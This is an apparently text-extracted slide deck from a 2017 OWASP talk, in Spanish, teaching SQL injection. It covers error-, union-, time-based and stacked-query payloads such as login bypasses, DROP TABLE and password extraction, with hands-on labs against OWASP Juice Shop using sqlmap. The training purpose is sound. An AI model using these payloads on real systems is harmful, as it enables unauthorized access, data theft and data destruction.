sql injection deep dive - owasp.org · pdf file•puede permitir full access a bases de...
TRANSCRIPT
![Page 1: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/1.jpg)
SQL INJECTION DEEP DIVE
Mateo MartinezOWASP LATAM TOUR 2017 – Abril 2017 – Lima, Perú
![Page 2: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/2.jpg)
MATEO MARTINEZINGENIERO EN SISTEMASCISSPCEHISO 27001 LEAD IMPLEMENTERISO 27032 LEAD CYBERSECURITY MANAGERGERENTE GENERAL DE KOD LATAM SECURITY (KOD.UY)DOCENTE HACKING ÉTICO UNIVERSIDAD ORT URUGUAYOWASP URUGUAY CHAPTER LEADERCOORDINADOR CENTRO DE CIBERSEGURIDAD INDUSTRIALMASTER EN SEGURIDAD INFORMÁTICA (CANDIDATE 2018)MBA (CANDIDATE 2017)
[email protected] // @MATEOMARTINEZOK
![Page 3: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/3.jpg)
2013-A1 – Inyección (2017 RC idem)
• Engañar a la aplicación para que envíe comandos al interprete
Inyección significa
• Recibir Strings e interpretarlos como comandos
• SQL, OS Shell, LDAP, XPath, Hibernate, etc…
Interpretes…
• Muchas aplicaciones siguen siendo vulnerables
• Es simple de evitar
Sigue siendo un riesgo muy comun
• Grave. Toda la base de datos puede ser leida y/o modificada
• Puede permitir full access a bases de datos, usuarios o OS
Impacto típico
![Page 4: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/4.jpg)
2013-A1 – Tipos de Inyección
• Command Injection• Code Injection• LDAP Injection• SQL Injection
![Page 5: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/5.jpg)
Inyección
• Permite a los atacantes enviar código malicioso através de la aplicación hacia otros sistemas
• La mejor forma de detectar si una aplicación esvulnerable a inyección es verificar que todos losinterpreters separan claramente los datos noconfiables del comando o consulta
• Este tipo de ataques incluye llamadas al sistemaoperativo, llamadas a programas desdecomandos de Shell o consultas a las BD delbackend
![Page 6: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/6.jpg)
Inyección SQL
• El atacante pude ejecutar código SQLmalicioso pudiendo modificar la Base de Datosde la aplicación afectando su integridad.
• Puede permitir a un atacante sin accesoautorizado el acceso a información sensible.
• Un atacante debe conseguir un parámetro quellegue hasta la base de datos
![Page 7: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/7.jpg)
Inyección SQL
Fir
ewal
l
Hardened OS
Web Server
App Server
Fir
ewal
l
Dat
abas
es
Leg
acy
Sy
stem
s
Web
Ser
vic
es
Dir
ecto
ries
Hu
man
Res
rcs
Bil
lin
g
Custom Code
ATACANTE
RE
DA
PL
ICA
CIO
N
Acc
ou
nts
Fin
ance
Ad
min
istr
atio
n
Tra
nsa
ctio
ns
Co
mm
un
icat
ion
Kn
ow
led
ge
Mg
mt
E-C
om
mer
ce
Bu
s. F
un
ctio
ns
HTTP
request
SQL
query
TABLAS
HTTP
response
"SELECT * FROM
accounts WHERE
acct=‘’ OR 1=1--
’"
1. Presenta un formulario al atacante
2. El atacante envia un ataquemediante el formulario
3. La aplicación redirecciona el ataque hacia la BD (sql query)
Account Summary
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
4. La Base de Datos ejecuta la query y envia la informacióncifrada a la aplicación
5. La aplicación descifra la información y se la presenta al usuario
Account:
SKU:
Account:
SKU:
![Page 8: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/8.jpg)
Inyección SQL
<form method="post“ action="http://testasp.vulnweb.com/login.asp"><input name="tfUName" type="text" id="tfUName"><input name="tfUPass" type="password" id="tfUPass"></form>
![Page 9: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/9.jpg)
Inyección SQL
SELECT idFROM loginsWHERE username = '$username'AND password = '$password’
![Page 10: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/10.jpg)
Inyección SQL
SELECT idFROM loginsWHERE username = 'Mateo'AND password = 'cualquiera' OR 'x'='x'
'$password’
![Page 11: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/11.jpg)
2013-A1 – Inyección
![Page 12: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/12.jpg)
Inyección SQL
SELECT title, description, body FROM items WHERE ID = 2
http://newspaper.com/items.php?id=2 and 1=2
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
http://newspaper.com/items.php?id=2 and 1=1
![Page 13: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/13.jpg)
Inyección SQL
Time Basedhttp://www.site.com/vulnerable.php?id=1′ waitfor delay ’00:00:10′–
![Page 14: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/14.jpg)
Buscando usuarios
SELECT email, passwd, login_id, full_nameFROM users WHERE email = 'x' OR full_name LIKE '%Mateo%';
![Page 15: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/15.jpg)
Buscando contraseñas
SELECT email, passwd, username, full_nameFROM users WHERE email = ‘[email protected]' AND passwd = ‘uruguay2017';
![Page 16: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/16.jpg)
Agregando usuarios
SELECT email, passwd, username, full_nameFROM users WHERE email = 'x'; INSERT INTO users ('email','passwd',‘username','full_name') VALUES (‘[email protected]',‘1234',‘mateo',‘Mateo Martinez');--';
![Page 17: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/17.jpg)
Borrando la BD
SELECT email, passwd, username, full_nameFROM users WHERE email = 'x'; DROP TABLE members; --'; -- Ouch!
![Page 18: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/18.jpg)
https://xkcd.com/327/
![Page 19: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/19.jpg)
Contando Columnas (Union Based)
Los ataques basados en UNION permiten extraerfácilmente información de la base de datos. Peroel operador UNION sólo se puede utilizar si ambasconsultas tienen la misma estructura exacta. Elatacante debe elaborar una instrucción SELECTsimilar a la consulta original. Se debe conocer elnombre de la tabla y se debe determinar tambiénel número de columnas y su tipo de datos.
![Page 20: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/20.jpg)
Contando Columnas (Union Based)
SELECT name, description, price FROM productsWHERE category=1 ORDER BY 2
![Page 21: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/21.jpg)
Descubrir tipos de datos (Union Based)
SELECT name, description, price FROM productsWHERE category=1 UNION SELECT 'A', 'B', 3 FROMall_tables
En pocas columnas es simple, pero a medida quecrece el número de columnas se hace máscomplejo. Hay herramientas como SQLMap queautomatizan el proceso.
![Page 22: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/22.jpg)
SQL Injection Union Based attack
SELECT name, description, price FROM productsWHERE category=1 AND 1=2 UNION SELECTusername, password, 1 FROM members
Incorporar una operación lógica falsa le aseguraal atacante datos limpios del ataque al estarantes del UNION.
![Page 23: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/23.jpg)
Determinar el Tipo de SQL Injection
• Identificar la Inyección
• Identificar el tipo de Inyección:
• STRING
• NUMERICO
• Tipo de ataque:
• Error-Based SQL Injection
• Union-Based SQL Ijection
• Blind SQL Injection
![Page 24: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/24.jpg)
TOOLS para SQL Injection
• Mieliekoek.pl (error)
• Wpoison (error)
• Sqlmap (blind and union)
• Sapiti (error)
• W3af (error)
• Paros (error)
• Sqid (error)
![Page 25: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/25.jpg)
LAB – Configurando ZAP
![Page 26: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/26.jpg)
LAB – OWASP Juice Shop
https://www.owasp.org/index.php/OWASP_Juice_Shop_Project
![Page 27: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/27.jpg)
LAB – Configurando ZAP
![Page 28: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/28.jpg)
Entendiendo el LAB con ZAP
![Page 29: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/29.jpg)
Lab #1
Es un lab de “calentamiento”… deben encontrar el Score-Board de Juice Shop
![Page 30: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/30.jpg)
Lab #1
Es un lab de “calentamiento”… deben encontrar el Score-Board de Juice Shop
Pista: Ver el código fuente
![Page 31: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/31.jpg)
Lab #1
Es un lab de “calentamiento”… hay que encontrar el Score-Board de Juice Shop
Pista: Ver el código Fuente
Respuesta: /score-board
![Page 32: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/32.jpg)
Lab #1
![Page 33: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/33.jpg)
Lab #2
Generar un SQLi Error Based
![Page 34: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/34.jpg)
Lab #2
Generar un SQLi Error Based
Pista: Vamos a generar un error todos juntos.Ingresar con un login llamado mail’
![Page 35: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/35.jpg)
Lab #2
![Page 36: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/36.jpg)
Lab #3
Ingresar a la plataforma sin conocer un usuario
![Page 37: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/37.jpg)
Lab #3
![Page 38: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/38.jpg)
Lab #3
![Page 39: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/39.jpg)
Lab #3
¿Y como llegó a ser admin?
![Page 40: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/40.jpg)
Lab #3
¿Y como llegó a ser admin?
Respuesta: Funcionó el SELECT * FROM USERS, y el user ID #1 era justamente el admin
![Page 41: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/41.jpg)
Lab #3
¿Y esta inyección de donde salió?
![Page 42: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/42.jpg)
Lab #3
¿Y esto de donde salió?
Pista: Probemos con ZAP…
![Page 43: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/43.jpg)
Lab #3
![Page 44: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/44.jpg)
Lab #3
![Page 45: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/45.jpg)
Lab #3
![Page 46: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/46.jpg)
Lab #3
![Page 47: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/47.jpg)
Lab #4
Ingresar como el usuario “bender”
![Page 48: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/48.jpg)
Lab #4
Ingresar como el usuario “bender”
Pista: [email protected]'--Transforma la consulta en:SELECT * FROM USERS WHERE email='[email protected]'
![Page 49: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/49.jpg)
Lab #4
![Page 50: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/50.jpg)
Lab #4
¿Y si no me se el email?
![Page 51: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/51.jpg)
Lab #4
¿Y si no se el email?
Pista: entonces utilizer una consulta similar a:' or email like '%bender%' ; --
![Page 52: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/52.jpg)
Lab #5
Acceder como admin sin hacer SQLi
![Page 53: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/53.jpg)
Lab #5
Acceder como admin sin hacer SQLi
Pista: buscar claves en sitios como: https://github.com/danielmiessler/SecLists/tree/master/Passwords
![Page 54: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/54.jpg)
Lab #5
Acceder como admin sin hacer SQLi
Pista: buscar claves en sitios como: https://github.com/danielmiessler/SecLists/tree/master/Passwords
Respuesta: [email protected]/admin123
![Page 55: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/55.jpg)
Lab #6
Vamos a instalar SQLMap para automatizarataques:
Ejecutar en la terminal:#sudo apt-get install sqlmap
![Page 56: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/56.jpg)
Lab #6
Una vez instalado ejecutar en la terminal:#sqlmap –u ‘http://localhost:3000/rest/product/search?q=prueba’ --level=2 –p ‘q’ --dbms=‘sqlite’
https://github.com/sqlmapproject/sqlmap/wiki/Usage
![Page 57: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/57.jpg)
Lab #6
![Page 58: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/58.jpg)
Lab #6 – Parámetros sqlmap http-v: verbosity level--url: url a atacar--user-agent: Custom User-Agent --delay: segundos entre HTTP(S) request--timeout: segundos a esperar--retries: reintentos despues de timeout--keep-alive: conexiones HTTP(s) persistentes--threads: HTTP(S) requests concurrentes--eta: calcula y muestra el tiempo--batch: funcionamiento por defecto
![Page 59: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/59.jpg)
Lab #6 – Parámetros sqlmap de auditoría
--dbms: define el motor de la BD--os: define el OS del backend--level: nivel de test (1 a 5, por defecto 1)--risk: riesgo de los test (1 a 3, por defecto 1)--banner: muestra el banner de la BD--dbs: enumera la lista de BD--tables: enumera las tablas de la BD--technique: Técnicas utilizadas de SQLi
![Page 60: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/60.jpg)
Lab #6 – Tipos de ataques sqlmap
B: Boolean-based blind SQL injectionE: Error-based SQL injectionU: UNION query SQL injectionS: Stacked queries SQL injectionT: Time-based blind SQL injection
![Page 61: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/61.jpg)
Lab #6
sqlmap.py -v 2 --url=http://mysite.com/index --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --dbms=MySQL --os=Linux --level=5 --risk=4 --banner --is-dba --dbs --tables --technique=BEUST -s /tmp/scan_report.txt --flush-session -t /tmp/scan_trace.txt --fresh-queries > /tmp/scan_out.txt
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap
![Page 62: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/62.jpg)
Lab #6
![Page 63: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/63.jpg)
Lab #7
Vamos a intentar de avanzar con UNION pero en forma manual sobre el formulario de búsqueda.
El primer paso va a ser pegar el resultado del payload de SQLMap en nuestro campo de búsqueda.
![Page 64: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/64.jpg)
Lab #7
![Page 65: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/65.jpg)
Lab #7
![Page 66: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/66.jpg)
Lab #7
![Page 67: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/67.jpg)
Lab #7
' )) union select 1,2,3,4,5,6,7,8 ; --
![Page 68: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/68.jpg)
Lab #7
XXX' )) union select 1,name,name,4,5,6,7,8 FROM sqlite_master WHERE type = 'table' ; --
